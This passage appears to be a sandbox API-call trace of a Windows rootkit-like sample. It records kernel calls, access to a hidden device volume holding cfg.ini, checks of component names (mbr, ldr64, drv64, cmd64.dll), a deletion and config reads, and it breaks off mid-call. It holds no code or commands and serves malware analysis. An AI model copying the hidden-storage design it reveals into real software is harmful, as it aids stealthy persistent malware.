[0129.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.515] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.515] IdePortDispatch () returned 0x103 [0129.515] KeWaitForMutexObject () returned 0x0 [0129.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.515] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.515] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.515] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.515] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.515] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.515] KeLeaveCriticalRegion () [0129.515] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.516] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.516] KeEnterCriticalRegion () [0129.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.516] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.516] KeLeaveCriticalRegion () [0129.516] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.516] KeEnterCriticalRegion () [0129.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.516] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.516] IdePortDispatch () returned 0x103 [0129.516] KeWaitForMutexObject () returned 0x0 [0129.516] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.516] KeLeaveCriticalRegion () [0129.516] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.516] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.516] KeEnterCriticalRegion () [0129.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.516] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c06000 [0129.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.516] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.516] IdePortDispatch () returned 0x103 [0129.516] KeWaitForMutexObject () returned 0x0 [0129.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.517] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.517] IdePortDispatch () returned 0x103 [0129.517] KeWaitForMutexObject () returned 0x0 [0129.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.517] KeLeaveCriticalRegion () [0129.517] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.517] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.517] KeEnterCriticalRegion () [0129.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.517] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.518] KeLeaveCriticalRegion () [0129.518] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.518] KeEnterCriticalRegion () [0129.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.518] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.518] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.518] KeLeaveCriticalRegion () [0129.518] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.518] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.518] KeEnterCriticalRegion () [0129.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.518] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.518] KeLeaveCriticalRegion () [0129.518] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.518] ReleaseMutex (hMutex=0xf0) returned 1 [0129.518] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.518] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.518] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.518] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.518] KeEnterCriticalRegion () [0129.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.518] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.518] IdePortDispatch () returned 0x103 [0129.518] KeWaitForMutexObject () returned 0x0 [0129.519] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.519] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.519] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.519] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.519] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.519] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.519] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.519] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.519] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.519] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.519] KeLeaveCriticalRegion () [0129.519] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.519] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.519] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.519] KeEnterCriticalRegion () [0129.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.519] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.519] IdePortDispatch () returned 0x103 [0129.519] KeWaitForMutexObject () returned 0x0 [0129.519] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.519] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.519] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.519] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.519] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.519] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.519] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.520] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.520] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.520] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.520] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.520] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.520] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.520] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.520] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.520] KeLeaveCriticalRegion () [0129.520] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.520] ReleaseMutex (hMutex=0x100) returned 1 [0129.520] Sleep (dwMilliseconds=0x2bf20) [0129.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70665070, dwHighDateTime=0x1d24fa4)) [0129.527] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.527] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.527] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.527] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.527] KeEnterCriticalRegion () [0129.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.527] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.527] IdePortDispatch () returned 0x103 [0129.527] KeWaitForMutexObject () returned 0x0 [0129.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.527] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.527] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.527] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.527] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.527] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05760 [0129.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.527] KeLeaveCriticalRegion () [0129.527] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.528] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.528] KeEnterCriticalRegion () [0129.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.528] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.528] KeLeaveCriticalRegion () [0129.528] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.528] KeEnterCriticalRegion () [0129.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.528] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.528] IdePortDispatch () returned 0x103 [0129.528] KeWaitForMutexObject () returned 0x0 [0129.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.528] KeLeaveCriticalRegion () [0129.528] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.528] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.528] KeEnterCriticalRegion () [0129.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.528] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c09000 [0129.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.528] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.528] IdePortDispatch () returned 0x103 [0129.528] KeWaitForMutexObject () returned 0x0 [0129.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.529] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.529] IdePortDispatch () returned 0x103 [0129.529] KeWaitForMutexObject () returned 0x0 [0129.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.529] KeLeaveCriticalRegion () [0129.529] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.529] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.529] KeEnterCriticalRegion () [0129.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.530] KeLeaveCriticalRegion () [0129.530] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.530] KeEnterCriticalRegion () [0129.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.530] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.530] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.530] KeLeaveCriticalRegion () [0129.530] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.530] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.530] KeEnterCriticalRegion () [0129.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.530] ExFreePoolWithTag (P=0xfffffa8003c05760, Tag=0x0) [0129.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.530] KeLeaveCriticalRegion () [0129.530] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.530] ReleaseMutex (hMutex=0xf0) returned 1 [0129.530] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.530] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.530] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.530] KeEnterCriticalRegion () [0129.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.530] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.530] IdePortDispatch () returned 0x103 [0129.530] KeWaitForMutexObject () returned 0x0 [0129.530] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.530] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.531] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.531] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.531] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.531] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04010 [0129.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.531] KeLeaveCriticalRegion () [0129.531] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.531] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.531] KeEnterCriticalRegion () [0129.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.531] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.531] KeLeaveCriticalRegion () [0129.531] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.531] KeEnterCriticalRegion () [0129.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.531] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.531] IdePortDispatch () returned 0x103 [0129.531] KeWaitForMutexObject () returned 0x0 [0129.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.531] KeLeaveCriticalRegion () [0129.531] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.531] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.531] KeEnterCriticalRegion () [0129.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.531] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0a000 [0129.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.532] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.532] IdePortDispatch () returned 0x103 [0129.532] KeWaitForMutexObject () returned 0x0 [0129.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.532] MmProbeAndLockPages (in: 